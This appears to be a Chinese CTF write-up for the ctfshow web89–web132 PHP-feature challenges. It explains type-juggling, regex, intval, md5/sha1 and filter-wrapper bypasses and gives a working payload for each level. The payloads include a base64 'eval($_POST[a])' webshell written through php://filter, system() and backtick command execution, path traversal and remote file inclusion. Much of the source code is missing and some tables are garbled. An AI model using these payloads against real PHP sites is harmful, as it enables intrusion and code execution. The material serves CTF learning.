web89
源码:
1  | 
  | 
题目中要求传入数字 然后intval() 函数用于获取变量的整数值
利用preg_match()函数无法处理数组的漏洞绕过匹配
intval()函数貌似也无法处理数组
本地环境?num=aaaaa不输出
?num[]=aaaaa就可以输出

1  | 题目payload:?num[]=1  | 
2021/8/11
web90
源码:
1  | 
  | 
php弱类型总结

要求传入的num不能全等于4476 (数值类型)
且经过int转换之后需要全等于4476 (数值类型)
1  | 弱类型法:?num=4476asfsf ?num=4476.0 ?num=4476.1//第一个判断类型不相等 第二个判断经过强制转换之后相等  | 
本地测试

web91
源码:
1  | 
  | 
/i不区分大小写
/m代表匹配多行数据
考点:Apache HTTPD 换行解析漏洞(CVE-2017-15715)与拓展
第一个匹配 只要在某一行匹配到了开头和结尾都是php就可以通过 也就是说匹配内容中必须只有flag
第二个匹配不分行 一起匹配 要求不能出现php
1  | ?cmd=aaaa%0aphp  | 
第一个匹配遇到了%0a 当成换行符 继续匹配第二行 匹配到了只有php的一行 通过
第二个匹配一行内有%0aphp 不满足开头和结尾都是php 不通过 输出flag
web92
源码:
1  | 
  | 
第一个if($num==4476) 要求传入的num不能等于4476 所以弱类型就失效了
看到intval里base参数还是0 所以可以用进制绕过
新知识:intval()函数如果$base为0则$var中存在字母的话遇到字母就停止读取
1  | 十六进制法: ?num=0x117c  | 
web93
源码:
1  | 
  | 
第一个==判断可以用进制转换和科学计数法绕过
第二个判断检测不能出现字母,所以只能用八进制绕过
第三个intval配合八进制 输出flag
1  | 八进制:?num=010574  | 
web94
源码:
1  | 
  | 
多了一个判断函数

如果我们传入的num有0 则不通过 这样就不能用进制转换了
1  | ?num=4476.0  | 
web95
源码:
1  | 
  | 
preg_match(“/[a-z]|./i”, $num) 把小数点过滤了
可以通过8进制绕过但是前面必须多加一个字节 这样就保证开头字符不是0了
1  | ?num=+010574  | 
web96
源码:
1  | 
  | 
要求传入的u不能是flag.php
然后显示参数u文件的代码
可以配合伪协议绕过
也可以用相对/绝对路径绕过
1  | ?u=php://filter/read=convert.base64-encode/resource=flag.php  | 
web97
源码:
1  | 
  | 
要求传入a和b参数 且a不等于b 且md5加密后的a和b相等
由于md5判断的是=== 全等 无法用弱类型绕过
md5强比较,此时如果传入的两个参数不是字符串,而是数组,md5()函数无法解出其数值,就会得到===强比较的值相等
1  | a[]=1&b[]=2  | 
这个题目强碰撞没成功
1  | param1=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2¶m2=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2  | 
web98
源码:
1  | Notice: Undefined index: flag in /var/www/html/index.php on line 15  | 
知识点:php三元运算符与if的详解
php中引用的用法:
变量的引用赋值: $a = &$b
函数调用时的引用参数传递
1  | 
  | 
web99
源码:
1  | 
  | 
array() 函数用于创建数组。
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
rand() 函数生成随机整数。(如果您想要一个介于 10 和 100 之间(包括 10 和 100)的随机整数,请使用 rand (10,100)。 )
in_array() 函数搜索数组中是否存在指定的值。
从题目来看 最难绕过的点就是in_array 如果传入n的文件名为x.php 需要在in_array中被搜索到才能通过
核心:in_array() 函数漏洞
1  | #以下,'7eee'被强制转换成整型 7var_dump(in_array('7eee', [1, 2, 7, 9]));//true #如果第三个参数设置为 true,函数只有在元素存在于数组中且数据类型与给定值相同时才返回 true。var_dump(in_array('7eee', [1, 2, 7, 9], true));//false  | 
1  | 本地测试: var_dump(in_array('1.php', [1, 2, 7, 9])); //bool(true)  | 
因为rand()函数从1-877(0x36d)之间随机插入了很多数 只要是数字开头的 x.php就可以利用此漏洞
1  | GET:  | 
web100
源码:
1  | 
  | 
1  | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);  | 
绕过
1  | $v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);  | 
利用这种方式
1  | $a=true and false and false;  | 
保证v1位数字 v2构造命令 v3写分号结尾
1  | eval("$v2('ctfshow')$v3  | 
1  | if(!preg_match("/\;/", $v2)){ //v2中不能有分号  | 
1  | eval("$v2('ctfshow')$v3  | 
输出的flag需要把0x2d HEX Decode成 -
然后加上ctfshow{}
web101
源码:
1  | 
  | 
v2过滤了很多符号 没法命令执行了 v3分号没过滤
考点是类反射
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
1  | PHP Reflection API是PHP5才有的新功能,它是用来导出或提取出关于类、方法、属性、参数等的详细信息,包括注释。  | 
导出类信息
1  | ?v1=1&v2=echo new Reflectionclass&v3=;  | 
拿到flag 0x2d换成-
flag最后少一位 从0-9 a-z一个一个试
2021/8/12
web102
源码:
1  | 
  | 
substr() 函数返回字符串的一部分。
substr(string,start,length)
call_user_func — 把第一个参数作为回调函数调用
| 结合方向 | 运算符 | 附加信息 | ||
|---|---|---|---|---|
| 无 | clone new | clone 和 new | ||
| 左 | [ | array() | ||
| 右 | ** | 算术运算符 | ||
| 右 | ++ – ~ (int) (float) (string) (array) (object) (bool) @ | 类型和递增/递减 | ||
| 无 | instanceof | 类型 | ||
| 右 | ! | 逻辑运算符 | ||
| 左 | ** / %* | 算术运算符 | ||
| 左 | + - . | 算术运算符和字符串运算符 | ||
| 左 | << >> | 位运算符 | ||
| 无 | < <= > >= | 比较运算符 | ||
| 无 | == != === !== <> <=> | 比较运算符 | ||
| 左 | & | 位运算符和引用 | ||
| 左 | ^ | 位运算符 | ||
| 左 | *\ | * | 位运算符 | |
| 左 | && | 逻辑运算符 | ||
| 左 | *\ | \ | * | 逻辑运算符 | 
| 左 | ?? | 比较运算符 | ||
| 左 | ? : | ternary | ||
| right | = += -= = = /= .= %= &= \ | = ^= <<= >>=* | 赋值运算符 | |
| 左 | and | 逻辑运算符 | ||
| 左 | xor | 逻辑运算符 | ||
| 左 | or | 逻辑运算符 | 
这里v2必须是数字 因为赋值运算的优先级比AND和OR的高
$p = 6 and 0;
var_dump($p); //int(6) 
substr函数会从第三个字符(012)开始截取
v1是自定义函数 可以利用hex2bin
v3没做限制 可以利用伪协议写入base64解码之后的字符串
1  | php://filter/write=convert.base64-decode/resource=1.php  | 
1  | PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo= // eval($_POST[a]);  | 
将其转换为16进制字符串
1  | 50443977614841675a585a686243676b5831425055315262595630704f776f3d //PD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=  | 
在base64字符串前面增加5个字符 然后转换成16进制
1  | aaaaaPD9waHAgZXZhbCgkX1BPU1RbYV0pOwo=  | 
传入16进制字符串 绕过数字检测 substr函数截取变成
1  | 6161616150443977614841675a585a686243676b5831425055315262595630704f776f3d2020  | 
最终payload
1  | GET  | 
结果执行失败了 看了一些 是因为16进制中出现了字符串 没过检测 那么就想办法构造一个简短的payload
1  | =`cat *`;  | 
最终payload
1  | GET  | 
新知识:
1  | 是短标签  | 
web103
源码:
1  | 
  | 
这个题和上一题的不同之处是会检查hex2bin之后的base64字符串 是不存在php字符的 还是用上一题payload
1  | GET  | 
web104
源码:
1  | 
  | 
要求post传入v1 get传入v2
两个参数经过sha1加密后相等
1  | GET:v2=1 / v2[]=  | 
web105
源码:
1  | 
  | 
GET传入的参数作为数组遍历 如果参数名(key)全等于error 就退出脚本
继续向下执行 进行变量覆盖
POST传入的参数作为数组遍历 如果参数名(key)全等于flag就退出脚本
继续向下执行 进行变量覆盖
继续向下执行
如果post传入的flag参数的内容与flag变量不相等 就退出脚本 不传入flag也退出脚本
但是我们是不知道flag变量内容的
考点是变量覆盖
把error变成suces 把suces变成flag
如果不能传入与flag变量相等的flag参数的内容
就会触发die($error); 从而把flag输出
1  | GET  | 
web106
源码:
1  | 
  | 
这次限定了v1不能和v2相等
直接弱类型
或者用数组绕过sha1函数
1  | aaK1STfY  | 
web107
源码:
1  | 
  | 
出现了一个新函数 parse_str()
parse_str() 函数把查询字符串解析到变量中。

1  | 
  | 
简单来说就是把传入的参数和内容变成变量
如果又第二个参数的话
就把第一个参数变成数组存储到第二个参数中
1  | 
  | 
我们构造v1的内容为flag=xxx 将其存储到v2中
v3要经过md5加密 加密后需要等于v2中flag的内容 也就是我们传入的v1的flag的内容
最终payload:
1  | GET  | 
2021/8/13
web108
源码:
1  | 
  | 
strrev() 函数反转字符串。
intval() 函数用于获取变量的整数值。
一个数经过反转并取整后等于十六进制0x36d即十进制的877
那这个数为778就可以
ereg()函数用指定的模式搜索一个字符串中指定的字符串,如果匹配成功返回true,否则,则返回false。搜索字 母的字符是大小写敏感的。
ereg函数存在NULL截断漏洞,导致了正则过滤被绕过,所以可以使用%00截断正则匹配
1  | ?c=a%00778  | 
web109
源码:
1  | 
  | 
CTF技巧Web——PHP特性使用反射类ReflectionClass执行命令
payload:
1  | ?v1=Exception&v2=system('cat fl36dg.txt')  | 
web110
源码:
1  | 
  | 
过滤了很多 没办法命令执行了
考察:php内置类 利用 FilesystemIterator 获取指定目录下的所有文件
http://phpff.com/filesystemiterator
https://www.php.net/manual/zh/class.filesystemiterator.php
getcwd()函数 获取当前工作目录 返回当前工作目录 配合echo输出
1  | ?v1=FilesystemIterator&v2=getcwd //fl36dga.txt  | 
web111
源码:
1  | 
  | 
1  | function getFlag(&$v1,&$v2){  | 
利用全局变量输出flag
1  | ?v1=ctfshow&v2=GLOBALS  | 
2021/8/18
web112
源码:
1  | 
  | 
有一个新函数

主要点还是对伪协议的过滤
payload:
1  | ?file=php://filter/resource=flag.php  | 
web113
源码:
1  | 
  | 
过滤字符增加了filter
payload:
1  | ?file=compress.zlib://flag.php  | 
web114
源码:
1  | 
  | 
过滤字符少了filter 多了compress|root|zip|convert
payload:
1  | ?file=php://filter/resource=flag.php  | 
web115
源码:
1  | 
  | 
trim() 函数移除字符串两侧的空白字符或其他预定义字符。
1  | if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){  | 
1  | 语法  | 
payload:
1  | ?num=%0c36 //%0c==\f 换页符 +-.和换页符 都可以绕过 trim和is_numeric  | 
2021/8/24
web130
源码:
1  | 
  | 
非预期payload:
1  | post  | 
PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit。我们可以通过 var_dump(ini_get(‘pcre.backtrack_limit’));的方式查看当前环境下的上限。回溯次数上限默认是 100 万。那么,假设我们的回溯次数超过了 100 万,会出现什么现象呢?preg_match 返回的非 1 和 0,而是 false。
1  | import requests  | 
web131
源码:
1  | 
  | 
规定是字符串类型 数组无法绕过stripos
规定要出现36Dctfshow 36Dctfshow无法绕过正则匹配
1  | import requests  | 
web132
访问robots.txt 发现url/admin/
源码:
1  | 
  | 
| 结合方向 | 运算符 | 附加信息 | ||
|---|---|---|---|---|
| 无 | clone new | clone 和 new | ||
| 左 | [ | array() | ||
| 右 | ** | 算术运算符 | ||
| 右 | ++ – ~ (int) (float) (string) (array) (object) (bool) @ | 类型和递增/递减 | ||
| 无 | instanceof | 类型 | ||
| 右 | ! | 逻辑运算符 | ||
| 左 | ** / %* | 算术运算符 | ||
| 左 | + - . | 算术运算符和字符串运算符 | ||
| 左 | << >> | 位运算符 | ||
| 无 | < <= > >= | 比较运算符 | ||
| 无 | == != === !== <> <=> | 比较运算符 | ||
| 左 | & | 位运算符和引用 | ||
| 左 | ^ | 位运算符 | ||
| 左 | *\ | * | 位运算符 | |
| 左 | && | 逻辑运算符 | ||
| 左 | *\ | \ | * | 逻辑运算符 | 
| 左 | ?? | 比较运算符 | ||
| 左 | ? : | ternary | ||
| right | = += -= = = /= .= %= &= \ | = ^= <<= >>=* | 赋值运算符 | |
| 左 | and | 逻辑运算符 | ||
| 左 | xor | 逻辑运算符 | ||
| 左 | or | 逻辑运算符 | 
1  | if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){  | 
要求传入值为字符型
先运算&& 后运算||
前面的运算为真假没关系 只要保证$username ===”admin”为真就可以
或运算一真则真
1  | url/admin/?username=admin&password=a&code=admin  | 
2021/8/26
web123
源码:
1  | 
  | 
1  | POST : CTF_SHOW=1&CTF[SHOW.COM=2&fun=echo $flag  | 
web129
源码:
1  | 
  | 
要求$f中出现ctfshow 且不能在开头出现
然后读取$f
方法一
1  | ?f=0ctfshow/../../../../var/www/html/flag.php  | 
方法二
1  | ?f=php://filter/read=convert.base64-encode|ctfshow/resource=flag.php  | 
方法三
1  | ?f=http://xxx.com/ctfshow.php //readfile可远程包含服务器的木马  |